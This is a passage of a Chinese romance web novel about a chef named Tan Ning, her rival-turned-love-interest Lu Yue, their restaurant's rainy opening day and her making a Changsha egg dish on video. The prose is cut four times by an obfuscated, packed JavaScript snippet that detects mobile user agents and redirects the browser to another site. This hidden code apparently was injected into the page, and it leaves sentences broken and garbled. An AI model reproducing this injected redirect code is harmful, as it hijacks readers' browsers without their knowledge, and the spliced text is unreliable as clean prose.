别看他看上去满嘴跑火车，没个正形儿，但在辣椒碰头这件事上，他是花了百分之两百的心血的。 来了快半个月，谭宁由衷地被这里的氛围所感染，越来越发自内心的喜欢它，也如陆跃所拜托的那样，去用心地对待它。 开始是她持有偏见，无论是对辣椒碰头，还是对陆跃。所以赢下比赛在她这里是第一顺位，帮助到辣椒碰头只是结果。 如今天平已然发生倾斜。 此刻谭宁并没有意识到这悄然的改变，只是跟随着脑海里的念头去做想要做的事情。 - 新开业第一天，天公却不作美。 谭宁早上睁开眼的那一刻，听到雨水打在玻璃上滴滴答答的声音，猛地从床上蹦起来。 “啊！”她打开窗户大喊了一声，把楼下买菜回来的大妈吓了一跳。 谭宁看到大妈一个踉跄差点滑倒。 她赶紧喊道：“小心！” 大妈抬头看去，看到是谭宁，紧锁的眉头忽然舒展了。 “是谭宁呐。怎么？你妈妈又说你啦？” 谭宁呵呵笑了两声，摆了摆手：“不是啦阿姨，是我们店今天开业第一天就碰到下雨，心里有点烦就喊了一声。” “对不起啊阿姨，没吓到你吧？” “没事没事。”阿姨卷卷的头发堆积在脖子上，从上往下看去就像一只毛茸茸的泰迪。 “是电视里播的那个店不咯？别气啊，阿姨去给你捧场！” “好啊！谢谢阿姨！”谭宁冲她甜甜一笑，挥手说了再见。 因为下雨，早上是谭正和送谭宁去的店里。 谭正和是初中数学老师，此时正值暑假，他闲在家里没什么事，散步回来刚好送谭宁去上班。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525945|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到店门口，谭宁解开安全带，跟谭正和说拜拜。 “走了爸！” “哎！打伞啊！” 谭正和的呼喊被关在车内，谭宁捂着头跑进了店里，在门口打了个响嗝。 路上谭正和下车买了两个烧卖和一杯豆浆，非要塞谭宁手里让她吃完。谭宁拗不过他，只好吃了。 这个嗝不仅声音大，还带着早上那烧卖里的香菇味，陆跃从里面出来，实打实地受到了这一份魔法攻击。 “嚯！”陆跃往后退了一步，掩住口鼻皱着眉头：“你这大早上可真够味啊！” 谭宁作势要锤他，却被一个眼神定在原地。 陆跃抱着胳膊，端出一副胜利者的姿态，满意地看着她吃瘪的样子：“咱俩得保持距离，这可是你自己说的。” 回旋镖直击脑门，谭宁被打得眼冒金星，头重脚轻。 “不是……”谭宁说：“你在这等着我呢？” 陆跃深深地看了她一眼，嘚瑟的和她错身而过。 “哎！”谭宁叫住他，露出困惑的神情：“下这么大雨，不然趁着人还没来改期吧？” 陆跃长长地哟了一声，叉着腰饶有兴致地偏头看向她：“你手机上的天气被你扣啦？我还以为你早就知道呢！” 太贱了！ 谭宁终是没忍住锤了他一拳：“你不知道天气预报向来不准吗？” 陆跃摊开手掌心：“我只知道有人现在慌得要死。” “你！” “好了好了。”在谭宁即将气到红温要扑上来掐他之际，陆跃一个跨步闪躲开，在离她五步之遥的距离用安抚的口吻说：“不用改期，你就安心去做你菜。我保证，你做多少就能卖出多少。” 谭宁狐疑地看着他：“真的假的？你少吹牛了！” 陆跃也不跟她辩解，只说到时候看就知道了。 谭宁依旧不信，追问：“你拿什么保证？” “开什么玩笑。”陆跃甩了甩他那头蓬松飘逸的鸡窝头，吹了声口哨：“本少爷只装B，从不吹牛。” 那模样，活像只开了屏的孔雀。 谭宁冲着他的背影喊道：“去你丫的！” 回到厨房，刚踏进一只脚就感受到了气氛低沉。 大家围聚在窗边，忧心忡忡地盯着窗外，噼里啪啦的雨声中时不时掺着两句长长的叹息。 “你们说今天还会有人来吗？” “悬。下这么大雨谁会想出门？” “换我我也不出。唉……咱怎么这么倒霉啊！” “是啊，这可怎么办才好……” “咳咳——” 谭宁站在门口咳了一声，吸引大家注意。 “还在那呆着干嘛呢？怎么？都忘了今天是什么日子啦？” “我们当然没忘啊。可是您看，外面下着这么大的雨，只怕今天没人来啊！” “是啊，我看不然去跟老板说一声明天再开始好了。” 谭宁微微一笑，把陆跃刚刚说过的话重复了一遍。 大家听完跟她刚刚的反应一模一样。 “不是在开玩笑吧？” “怎么可能，按原计划我们可是备了几百份，看现在这架势能卖出一半都悬呐。” “是啊谭主厨，知道你对菜单有信心，那也得有人才行啊！” 等他们七嘴八舌的说完，谭宁才拍了拍手。 “别担心。”谭宁一副胸有成竹的样子：“我刚刚突然想到一个好办法，不说全部卖完，但卖掉一半肯定是没问题的。” “哦？”一窝蜂地凑上来，“什么办法？” 17. 《主厨的战场》 “你好，请问今天店里是有抽盲盒的活动吗？” “是的是的！带雨伞进店用餐的顾客可以免费抽盲盒哦～” 在十一点进来了第一桌客人以后，源源不断的客人就像游戏里的NPC一般在店门口不断刷新。 店门口的桌上摞起一箱一箱的盲盒，吸引着路过的人群走过来询问，甚至在门口排起了小长队。 “天呐！”shake喘着粗气进厨房，惊叹道：“你们知道外面有多少人吗？刚刚从洗手间出来差点把我挤瘪了！” “快别贫了！快来备菜！” 从第一批顾客进来以后，他们就一刻都没停下过，手都快冒火星子了。 “来啦！”shake赶紧穿戴整齐，进入工作区时还不忘嘴贫一句：“谭主厨，还是你牛啊！” 谭宁正低头摆着盘，口罩下的嘴角轻轻勾起，动作更加沉稳迅速。 而外面的抽盲盒活动也在如火如荼地进行着。 谭宁起初的想法只是打折或者送菜品，是陆跃说既然做都做了，不如来点更燃的。 当看到一车一车的盲盒运进来，谭宁突然一下子就定了。她不再焦虑，不再彷徨，准备餐食的动作也更加麻利。 “您好，您看看想要哪一个？” 店员们带着菜单和盲盒走到每桌客人面前，在他们抽盲盒的同时请他们帮忙宣传。 “今天之内在红薯上带这个tag帖子可以参与抽奖哦，得奖者可以免单哦～” “是吗？”顾客纷纷拿出手机：“那我试试。” 就这样一传十十传百，外面排队的人越来越多。 人一多，外面又下着雨，免不了开始抱怨。 “怎么还这么多人啊？这得排队排到啥时候去？” “哎！我们明明来得比他们早，为啥他们都进去了还没到我们啊！” “不是吧，都快一个小时了，我衣服都湿了……” …… 三分钟后，两名店员抬着桌子出来，后面两位店员把保温桶提上桌子，发出哐当一声。紧接着物资就像流水线一般摆上桌面：暖宝宝、面包、糖、解压玩具…… 陆跃从店里出来，一下子吸引了所有人的目光。 他站在桌边，头顶是临时搭的雨棚，雨滴落在上面发出噼里啪啦的响声，沿街还有鸣笛声和嬉戏声。 噪音重重中，陆跃的嗓音不急不躁，裹着淡淡的笑意。仿佛一剂镇定剂，平复了焦躁不安的情绪；又仿佛装上了隔音墙，让人只能听到他讲话。 “万分感谢大家冒着大雨还来捧场，这边给大家准备了红糖姜枣茶，待会会有工作人员给大家分发。这边还准备了一些小零食和玩具，有需要的话也可以自取。” 陆跃说完，冲着人群鞠了一躬，态度诚恳。 “十分抱歉让大家久等了，感谢大家的谅解。如果有赶不及的朋友可以跟我们的工作人员说，这边给您报销打车费。” 这一通操作下来，大家的气已经消了一大半。再喝上一口姜茶，全身都暖和起来。身上暖了，人也舒服多了。凑在一起，反正闲着也是闲着，只听到人群里有人吆喝了一句开不开黑，马上就有人响应起来。 陆跃站在窗边观察了一会儿，确认不会有问题才离开。 边走边对三七说：“看这样子，下午的人恐怕只会多不会少。仓库里是不是还有几张闲置的桌子？整理一下都拿出来吧。” “好。” 陆跃预料得不错，网上已经炸开了锅。他们的预热加上顾客们自发的推广，甚至还上了一个红薯热搜。 直播间的网友们把这一切都看在眼里，风向也有了好转的趋势。 【哇！新开业第一天人这么多啊，导演能拍拍厨房吗？已经好久没看到谭主厨做菜了！】 【到底是哪个天才想出来的营销方案，连我都想去现场抽个盲盒了！】 【对嘛，这样才对味了。还是得好好搞事业，奉劝节目组也不要作妖了。】 【陆总今天好不一样啊，果然认真工作的男人最有魅力！】 …… 当然也会有唱反调喝倒彩的。 【切！也就是搞活动才来这么多人。等着吧，活动一结束热度就下来了。】 【买盲盒，准备饮品，还报销打车费……确定搞这么多东西能挣到钱吗？别是造假的吧！】 【这些菜一看就不好吃，根本不符合星城人的胃口！】 …… 正反双方在评论区像辩论似的大战了三百个回合，连另外两个直播间的观众也被硝烟吸引过来，看乐子的，添火的，搅屎的…… 但这些都没有影响到店里。 谭宁在厨房忙得天昏地暗，中途连闭店休息的时间都没有。一抬头，天都已经黑了。 “我的天啊。”抬头的动作牵动着僵硬的脖子，瞬间的酸爽让她喊出声来：“到底什么时候是个头啊！” “哈哈哈……” 这一声笑让安静了许久的厨房有些被激活的苗头。 上午他们尚且有心思开开玩笑，现在一个个都是面如菜色、灰头土脸，仿若被吸走了精气的空壳，说话都嫌费力。 “我刚看了一眼，给准备明天的食材都用了一大半了，外面竟然还有人在排队！今晚咱们不会要睡店里了吧？” “补药啊～～～我感觉我的手已经不是自己的了！” “呵，你要不先看看我的呢？”负责切海鲜的这位举起手，冻得一片通红。 “唉……”谭宁叉着腰长叹一声，往外瞟了一眼就赶紧收回眼神。 她也是很久没有这么高强度的长时间工作过了，哪怕是当年刚开始学厨的时候好歹也能见缝插针的和同学交换着休息一会儿。 不管怎么样，先熬过这一天再说吧。 她清了清嗓子：“知道大家辛苦，但……” “谭主厨！我们来帮忙啦！” 嗯？ 谭宁往声源处望去，竟然是王师傅和他的帮厨们穿戴整齐的站在门口。 “王师傅！您怎么来啦？”谭宁又惊又喜，手上的鱼子酱差点都撒了：“您今天不是休息吗？” 因为今天供应的只有法餐，按道理说也用不到这么多人。谭宁听到陆跃让王师傅趁这个时间去看看他的腰，在家里休息一天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525946|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有一次谭宁路过换衣间，透过门缝看到王师傅在换厨师服。他靠在衣柜上系紧腰带，手用力到泛白，面部狰狞。 谭宁只看了一眼就没敢再看下去。 腰伤、手伤、颈椎病，这对厨师来说都是家常便饭，尤其是中厨。但这段时间不管多忙，包括在试吃期间，他都没有抱怨过一句，每次看到他都是乐呵呵的。 因此在看到王师傅带着同样的笑朝她走来，拍拍她的肩膀对她说辛苦了的时候，谭宁不知为何眼泪一下子就涌了出来。 “需要我做些什么？”王师傅转过头的功夫，看到谭宁泪流满面，两眼通红的样子，吓了一跳。 “这是怎么了？切洋葱了？” 他下意识往案板上看去，这也没有洋葱啊。 砍肉时那么干脆利落的人突然手足无措起来，上前也不是退后也不是。幸好shake眼尖扔了包餐巾纸过来，王师傅赶紧递给她。 “不是吧小谭，累成这样？快去歇会儿，这里有王师傅呢！” “是啊是啊，你们都休息一会儿，我们顶上！” shake勾唇：“王师傅，您怎么这么不解风情！咱们谭主厨是感动哭了呢！” 被戳中的谭宁转过头作势要拿擦过眼泪和鼻涕的纸扔他。 “哎哟～”王师傅乐得眼睛眯成两条缝：“没想到小谭还是这么感性的人，这样我以后还怎么敢把你一个人扔在店里啊！” “您就别打趣我啦！”谭宁缓过神来，有点不好意思。 身为主厨，她竟然当着大家的面哭了鼻子，实在是丢脸。 她吸了吸鼻子，这会儿又坚强起来：“没事的王师傅，我能坚持。” 法餐是她自己要做的，没有主帅临阵逃脱的道理。 “好！”王师傅也不逼迫，眼神里除了关切又多了分信任：“我和我几个徒弟对法餐都不熟悉，你好好教教我们！” 谭宁仰着头笑：“没问题！” 有了王师傅和徒弟的加盟，厨房的压力瞬间减轻了不少，加上还有人活跃气氛，身上的酸痛此刻也逐渐消减了。 等到出完最后一批餐已经过了十点，以往这个时候他们应该在进行清洁工作，而现在店里还有客人在用餐。 “朝七晚十，谁敢信！咱们也是开拓新业务，干上深夜食堂了！” “还有力气看玩笑，看来你还能干啊。” “别了别了，我闭嘴。” “谢谢大家的配合，辛苦啦～” 谭宁取下帽子和口罩，脸侧和额头都被勒出浅浅的几道红痕。 大家连连摆手：“都认识多久了，还整这么客气干什么！” 谭宁半个身子都靠在案台边，笑容有些苍白。身体也止不住地往下滑，撑在桌面的双臂还在微微打颤。 王师傅最先注意到她的异样，“小谭，身体不舒服啊？” “没……没事。” 她下意识的摇头，抬起头时眼前一片模糊，耳朵里传来一阵一阵的嗡鸣。 “啊！”有人尖叫了一声：“谭主厨！你嘴都白了！” 谭宁翻了个白眼向后仰去，然后就什么都不知道了。 18. 《主厨的战场》 谭宁醒来时感觉浑身都酸痛不已，偏生还有人在不停地晃着自己的胳膊，晃得她一阵天旋地转。 “啧。”她拧着眉低低地抱怨着，但因为声音太小，那人并没有听见，仍然执着地摇晃着。 谭宁费力地尝试睁开眼，光从缝隙中透进来，从一个窄窄的弧形渐渐扩散成完整的视野。 但还是模糊，像蒙着一层欧根纱。 “哎！你醒了？” 谭宁听出这是陆跃的声音，也反应过来刚刚晃自己的人就是他。 晃晃晃，人都要被他晃散架了！ 越想越生气的谭宁看到陆跃的脸出现在上方，找准机会伸出巴掌…… 啪！ 这声音不大不小，却瞬间传遍了店里的每个角落。 陆跃手里还拿着巧克力准备给她，这一巴掌打得他人都懵了，脸上顿时火辣辣的。这熟悉的力道，除了那只比格还能是谁？！ 始作俑者还在挥舞着双臂叫嚣着：“让你在那晃我！不知道别人头晕啊！” “谭！宁！” 陆跃一把抓住她的手，防着她又要挠上来。终究是男女力气悬殊，陆跃单手就箍住她两只手腕，另一只手把剥开的巧克力趁机塞进她嘴里。 “啊！”谭宁被他的动作磕到牙齿，这下终于彻底睁开眼看清了一切。 一个一个的脑袋从旁边冒出来，盯着她看。 眼珠子僵硬的转了转，清醒过来后的所作所为在脑海播放着…… 啊啊啊啊啊！老天爷我再也不会叫你爷爷了！你根本没有把我当你的亲孙子！ 她扯了扯嘴角，心想要不干脆闭上眼睛装晕算了。 说干就干，谭宁立马盖上眼，盖到一半，脸被什么东西贴了一下。 “醒了就别装睡了。”陆跃拖着懒洋洋的调子，预判了她的行动：“起来把糖水喝了。” “咳咳——” 谭宁瞬间睁开眼，尴尬地连咳了好几声，撑着身下的东西缓缓仰起来。 嗯？什么东西这么硌手？ 立起来突然感觉有点晕眩，整个人像被举起来了似的，这才知道自己正躺在餐桌上。 谭宁从陆跃手里接过杯子，忿忿地瞪了他一眼。 “又怎么了姑奶奶。”陆跃现在还感觉右侧脸颊边热热的：“好好说话，别动手。” 谭宁就着糖水吃掉巧克力，没一会儿就恢复了活力，像从头顶被注入能量一般，眼珠和嘴唇都恢复了晶亮。 大家都默默松了一口气：“没事就好，没事就好。” 谭宁知道自己是低血糖犯了。这个毛病是在她减肥最狠的那段时间开始的，其实已经很久没有过了。只是因为今天连续工作时间太长中途又没吃什么东西所以又复发了。 “不好意思啊。”谭宁说：“让大家为我担心了。” “害！”王师傅摆摆手：“这都是小事。回去好好休息，平时注意多补充营养。” 谭宁记得晕倒前看到的最后一个人是王师傅，她关切道：“王师傅，刚刚我没压着您吧？您本来腰就不好，别又因为我复发了……” 说着谭宁非常自责地低下头。 王师傅呵呵笑了两声；“小谭姑娘，你多虑啦。” 哎？谭宁抬起头看向他。 王师傅手一伸，指向陆跃：“你晕倒的时候是陆总第一时间冲进来接住你的。我这一把老骨头，若不是陆总扶着，恐怕咱俩要摔到一块去哟！” “哈哈哈哈哈……” 四周响起轰笑声，谭宁听完忍不住把下巴往脖子里埋，机械地扯了扯嘴角。 怎么回事？她竟然忍不住在脑海里开始想象陆跃接住她的画面，四周突然吹着粉红色的泡泡，在优美的钢琴曲中飘来飘去…… 陆跃那厮不知何时换上了一身白色的西装，头发向后梳起，露出硬朗的额头。他托着她盈盈一握的腰，另一只手握着她的手，突然转起了圈圈。 一圈两圈三圈…… “好了都散了吧。” 停之停之！谭宁！你到底在想些什么？！ 高大的身影陡然间直起身，挡住所有的光，也将谭宁脑海中那些荒唐的画面彻底驱逐出去。 “今天都辛苦了，大家早点回家休息。西餐组的同事明天上午可以休息半天，快回家吧！” “好耶！溜了溜了！” “感谢陆总！陆总威武！” 店里的人像洪水一样瞬间奔涌而去，不知是因为下班而迫切不已还是为了给两人创造独处空间。 等陆跃回过头来，谭宁还傻傻的坐在餐桌上，神情恍惚。 “不是吧？还没缓过来？” 谭宁像是没听见似的，一动不动。 等陆跃走近，捕捉到她脸颊边的一抹潮红，内心奇怪：这看着也不像低血糖啊？ “嘿！”他举起手掌在她眼前晃了晃，她呆滞的眼球缓缓上移：“下班了！” “啊！”谭宁像触电一般猛地抖了一下，她看着近在咫尺的脸和他颤动的墨黑发丝，突然慌乱不已。 心里那尾活鱼像是被人捉住了一般，在水里扑腾扑腾跳个不停。 “能不能小心一点？”陆跃抓住她的胳膊，让她借力爬下桌子。不知为何，他觉得这胳膊抓起来格外硌手。 “谢谢啊，我走了。” 陆跃捏了捏自己的手心，叫住她：“谭宁。” 谭宁转过身，等着他的下文。 陆跃却突然吞吐起来，摸着后脑勺，眼神飘忽不定。 “你……” 谭宁看到他上下嘴皮一张一合，却压根不知道他说了些什么。 她上前一步，大声问：“你说什么？” 这一步迈得很大，她的鼻尖几乎就抵着他的，灼热的呼吸打在脸上，痒痒的。 陆跃偏过头，悄悄错开距离：“我是问……你待会儿有没有空？” “啊？”谭宁寻着声源转过去，在尚未反应过来之际，脸颊上传来柔软而湿润的触感。 她迟钝地眨了眨眼，这是…… 谭宁抬起头，小心翼翼地往上探，那是一张清晰的俊脸和微微撅起的嘴唇，嘴唇上泛着水光，像小时候吃过的草莓味棒棒糖。 一阵风拂过，被轻轻触碰过的地方像是被风干的糖水粘在皮肤上，紧绷着。 谭宁盯着那两瓣饱满的唇，突然什么声音都听不见了。 等回过神来，是陆跃在她耳边大喊了一声，谭宁像从梦中惊醒一般，对上他愠怒的眼神。 “喂！你到底有没有听我说话？我都问了你几遍了：晚上有没有空？！” 谭宁愣愣地张了张嘴：“有……”吗？ 等等，理智突然回笼。陆跃这是什么意思？约她吃饭？还是看电影？那然后呢？这大晚上的，该不会是…… 啊啊啊啊啊！！！ 不是吧不是吧！她在店里任劳任怨累了一天，他倒好！竟然要跟她做那种事情！ 难怪啊难怪，她说他今天怎么那么好心接住她照顾她，刚刚还色……色｜诱她！敢情是为了趁人之危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525947|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！趁火打劫！ 禽｜兽啊！ 谭宁心里有一万匹草泥马飞奔而过，她以迅雷不及掩耳之速抱紧自己，警惕地看着他：“你要干嘛？” 陆跃摸了摸鼻子，用亮晶晶的眼睛看着她：“我……我是说你如果有空的话可不可以……” 谭宁死死闭上眼，大叫着往后躲：“不可以！我拒绝！NO！” “哦。”陆跃的嘴角一下子耷拉下来，冷冰冰的语气：“让你帮忙试个菜你也不愿意，亏我刚刚还救了你一命，忘恩负义。” “什么？！”谭宁猛地睁开眼：“你说让我干嘛？” “试菜啊。”陆跃把她从上到下扫了一遍：“不然你以为呢？” “我以为……” 以为你是个大｜淫｜魔，要跟我做一些不可描述的事情！ 谭宁紧急刹车：“以为个屁啊！想让我试菜？你求我啊！” “你少得寸进尺！”她又换上这副无赖的嘴脸，仿佛刚刚那一瞬间的羞赧只是他的错觉：“你爱来不来，我才不会求你。” “行。有骨气。”谭宁转身就走。 “哎！”陆跃匆忙叫住她，明天就要营业，此刻他也管不了那么多了。谁叫这个女人长了一只狗的舌头呢。 他给出条件：“我给你多放半天假，明天你可以不来。” 放假？谭宁转过身，两眼放光：“真的假的？” “真、的。” 谭宁伸出手指：“那我要一天。” “你！” “嗯？” “……行。” “OK！成交！” 谭宁拉起他的手拍了一下，好像生怕他反悔。 陆跃黑着脸，把那只和她拍过的手在衣料处擦来擦去，瞪她。 想到凭空多出的一天半假期，谭宁就迫不及待：“什么时候开始？我是不是可以先回家休整一下？咱们待会见？” “呵。”陆跃冷笑一声，本来他也是这么打算的，但由于她的挑衅，现在他改变了主意。 “待会见个头，你就在这待着，哪儿都别想去！” “哪儿都”这三个字是咬着牙说的。 “不是吧！”谭宁指着他：“你故意的！不就是框了你一天假嘛，至于吗？” 至于，非常至于。 陆跃瞪了她一眼，得了便宜偷着乐就行了，竟然还敢说！ “想要假就待在这，否则什么都没有。你自己决定。”陆跃扔下她往前走：“我去厨房了，给你半个小时吃饭。半个小时后没看见你，我就当你放弃了。” “喂！”谭宁冲着他的背影喊了一声：“你讲不讲理！半个小时我点外卖都到不了！” 陆跃头也没回：“你的信徒给你留了吃的，记得给感谢人家。” 信徒？什么信徒？ 谭宁站在原地愣了愣，一回头看见桌上摆着个外卖袋，打开一看，竟然还是珍玉楼家的煲仔饭。 谭宁哇了一声，搓搓手坐下掀开砂锅盖，迫不及待用外卖送的铁勺拌开。 金灿灿的流心荷包蛋和鸡杂搅拌在一起，一口下去，既有锅巴的焦香又有盖码的油香，尽管凉了一点，但也丝毫不影响它的风味。 鸡杂是酸辣口的，和脆脆的藕尖炒在一起，吃进嘴里于牙齿碰撞，发出嘎嘣脆的响声，听起来都觉得好吃。 谭宁一口口吃着，一个劲儿地点头。吃到满意处，她忍不住眯着眼睛笑：这个默默也太懂她了，竟然还留了她最喜欢酸辣鸡杂口味！真是知己啊知己！ 19. 《主厨的战场》 谭宁花了不到十分钟就解决完那碗煲仔饭，咽下最后一口，她擦了擦嘴巴，满足地打了个嗝。 真是太好吃了～那瞬间她感觉今天一天的疲惫都被这一碗煲仔饭给治愈了，连心情都重新灿烂起来。 谭宁哼着歌收拾了桌子，以往这个时间她要么在散步要么在练舞。减肥难，维持体重更难。好不容易瘦到现在这个既健康又美观的体重，谭宁可不想又反弹回去。 可现在被困在陆跃的店里，出去是不可能的顶多在店里走走，跳舞就更不现实了，她倒也没那么社牛。 谭宁仰着身子往里面看了一眼，陆跃还在备菜，看样子离试菜还有一段时间，要不要找点事儿干呢？ 反正现在陆跃还没叫她，谭宁干脆坐下刷了会儿手机。刷着刷着，看到一个美食视频，这才想起自己还有个美食账号。 从巴黎回来以后马不停蹄就上了节目，每天累得倒头就睡，实在是没有多余的精力运营账号。想来现在已经有几个月没更新了，切换账号的时候还要重新登陆。 果不其然，一打开消息全是999+。 【博主怎么还不更新，我的吃饭搭子又少了一个呜呜呜……】 【这个宁是不是又忘记账号密码了？】 【歪？是FBI吗？我要举办这里有人弃养粉丝啊！】 【很早之前答应的鸡蛋的一百种做法才做了三个啊，有生之年还能等到更完吗？】 …… 谭宁粗略地翻了一遍，私信箱里几乎都是催更和点菜的，少数的商务合作都被淹没在其中。 在这之前，谭宁觉得自己这么点粉丝扔进茫茫大海里可以说是非常不起眼。这个账号的初衷也就是用来记录生活而已，刚开始并没想过会获得这么多人的喜欢。 谭宁是一个需要不断被push的人。可能是因为上学的时候被周敏华在后面拿着鞭子抽她抽习惯了，长时间没人鞭策就会有些松懈。 但神奇的是，上了节目遇到陆跃以后这种症状好像缓解了很多，就像上学那段每次看见陆跃在埋头学习她久会立马从外面跑回座位一样。 一开始是跟对方斗气，后来竟也真的有点成果。 就像生物学中的红皇后效应，需要不断地和对方赛跑才能维持共生双方的关系并从中获益。 咚咚咚。 陆跃听到敲门声，抬起头看到一个脑袋从门后露出来：“进来啊，还站外面干嘛？” “那个……我能不能去那边厨房忙点自己的事情？你要是做好了就叫我。” 谭宁依旧站在门外，对他眨了眨眼睛。 陆跃切菜的手一顿，问她：“什么事？” 谭宁转了转眼珠，答道：“消耗一下食材，防止过期浪费？” 陆跃一听就知道不对劲，砰的一声，刀尖立在案板上，他锐利的眼神扫了过来。 “说人话。” 谭宁深深呼出一口气，说人话就是：“我不是经营了一个美食账号嘛，我想趁着现在没啥事就拍个视频记录一下，也是顺便帮你消耗一下食材啦～” …… 陆跃盯着她看了半晌，眉头一会儿紧锁一会儿松开，就在谭宁以为他要拒绝的时候…… 他轻启双唇，说：“行，去吧。” “耶斯！”谭宁从门外蹦出来：“谢谢，谢谢！你今天也太通人性了吧，简直是……” 不对，她刚刚说了什么？ 谭宁的表情僵在脸上，她缓缓抬头，陆跃正抱着手臂似笑非笑地看着她。 下一秒，他的咆哮声响彻店内。 “谭宁！！！你他妈骂谁呢！！！不知好歹，待会的食材费不结清你休想走！！！” 谭宁就当他答应了，说了句结个屁后逃一般的跑了。 回到厨房，谭宁先是用几个罐头组成了一个简易的桌面手机支架，试录了一段确保画面没问题。 做什么呢？就从鸡蛋的一百种做法第四种开始吧。 回到星城以后，谭宁对家乡的热爱越来越甚，因此也迫切希望能够把星城的特色美食传播出去，让全世界的人都感受到星城菜的魅力。 虽然在陆跃店里做的都是法餐，但也无法抵消她对中餐的本能偏好。 而这个账号就成了很好的媒介。 关注她的大多数都是在外留学的国人，都说留子的尽头是厨子，也是因为比起白人饭国人的胃口还是更偏向于热炒的中餐。 而国外的中餐馆不仅昂贵，味道也只能说是差强人意。要想真正满足，还是得自己动手丰衣足食。 所以在“吃了吗宁”这个账号上，谭宁大部分时候都会用国外能买到的食材去做符合国人口味的餐食，尽量去还原记忆中的家乡味道。 露从今夜白，月是故乡明。虽说暂时看不到家乡的月亮，至少也能通过吃进嘴里的相同风味来遥寄相思。 所以回到星城的第一支视频，谭宁决定做一道传统的星城菜——金钱蛋。 选择这道菜的原因有二：一是填之前的埋下的坑，二是因为店里食材有限，而这道菜仅需要几个鸡蛋就能完成。 准备就绪。谭宁架好手机，点击录制。 “好久不见！这里是吃了吗宁！大家看到我身后的背景或许会有些陌生，那是因为我已经回家啦！” 谭宁笑着挥了挥手：“所以说，今天要给大家分享是我家乡的一道美食，名字叫做金钱蛋。” “这道菜不仅寓意吉祥，吃起来也非常下饭，建议在做之前先煮上一锅大米饭哈！” “那我们就开始吧！” 准备好的鸡蛋冷水下锅，需要煮十二分钟。 谭宁订好时间，抬起头：“等待鸡蛋煮熟的时间我们先来准备一些配菜：青红辣椒、蒜、小葱和豆豉。如果有条件的话还可以切点榨菜放里面，增加爽脆的口感。” “偷偷告诉大家。”一张俏生生的脸突然凑到镜头面前，画面一瞬间变得明亮：“榨菜是从老板那儿顺的，老板死抠，请大家为我保密哈。” 说完她还特别形象地往四周望了望，确认没人才继续演示。 “青红辣椒切成小圈，蒜切成末，小葱切段。”谭宁快速切好，装到一边的盘子里备用。 时钟刚走了一半，谭宁便习惯性地聊起闲天：“刚刚翻了翻私信，看到有朋友问我消失的时间都去哪里了。其实我是回国参加了一个综艺节目，名字叫做《主厨的战场》。节目里我主要是做一些法餐料理，如果感兴趣的话欢迎来看。” “哦。”谭宁歪了歪脑袋，想到时差的问题：“这个节目是直播的形式，但我之前看到星台的网站上已经上了前几期的录播。没更新的日子就请大家先看这个解解馋吧！但不用担心，我没有忘记密码，这个号会持续做下去的！” 叮！ 谭宁收回话题：“时间到，我们把它捞出来过凉水。” 过了凉水的鸡蛋非常好剥，在桌面敲出一个小口，然后掌心放在上面滚一滚，壳便哗啦哗啦都掉下来。 光亮滑嫩的卵心蛋滚入铁碗，接下来需要将每个鸡蛋均匀分成小片。 谭宁把手机拿起来，对着案板上摆放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525948|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的三样工具，一一介绍。 “现在摆放的这三个工具都可以用来切鸡蛋，从左到右依次是切蛋器、小刀和线。” “餐厅一般都会配切蛋器，这个是最方便也是最专业的。”谭宁拿起鸡蛋演示，一个鸡蛋很快就四散开来，像开花了一样：“看，这样就好了。” 她把切好的鸡蛋放在另一个碗里，回过头来：“但如果家里没有切蛋器，这边更建议的是拿线进行处理。” “就普通的细线，拿在手上绷直，然后从鸡蛋边缘切进去，用力。”谭宁的手凑近镜头，黑线在鸡蛋上绕个半圈，一个巧劲，鸡蛋圈就下来了。 “熟练的话就能操作得很快，这样每一个横截面都是光滑的，蛋黄和蛋白也不会分离散架。” 谭宁做过很多次，因此线在她手上格外灵活。 “好啦。”谭宁放下手中的线，碗里还有最后一个鸡蛋：“如果说家里也没有线的话，还有最后一个办法，那就是用刀。” 